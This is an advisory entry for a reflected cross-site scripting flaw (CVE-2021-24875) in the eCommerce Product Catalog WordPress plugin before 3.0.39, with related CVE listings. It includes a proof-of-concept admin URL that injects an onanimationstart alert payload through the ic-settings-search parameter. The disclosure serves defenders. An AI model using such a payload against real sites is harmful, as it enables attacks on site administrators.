Lucene search
JrXnmWPEX-ID:652EFC4A-F931-4668-AE74-A58B288A5715HistoryOct 25, 2021 - 12:00 a.m.
eCommerce Product Catalog for WordPress < 3.0.39 - Reflected Cross-Site Scripting
2021-10-2500:00:00
JrXnm
293
wordpress
ecommerce
cross-site scripting
EPSS
0.001
Percentile
48.1%
The plugin does not escape the ic-settings-search parameter before outputting it back in the page in an attribute, leading to a Reflected Cross-Site Scripting issue
https://example.com/wp-admin/edit.php?post_type=al_product&page=product-settings.php&ic-settings-search="+style=animation-name:rotation+onanimationstart=alert(/XSS/)//Related
cvelist
cvelist
wpvulndb
wpvulndb
cve
cve
CVE-2021-24875
2021-11-23 20:15:10
nvd
nvd
CVE-2021-24875
2021-11-23 20:15:10
prion
prion
Cross site scripting
2021-11-23 20:15:00
nuclei
nuclei
WordPress eCommerce Product Catalog <3.0.39 - Cross-Site Scripting
2023-03-05 13:42:10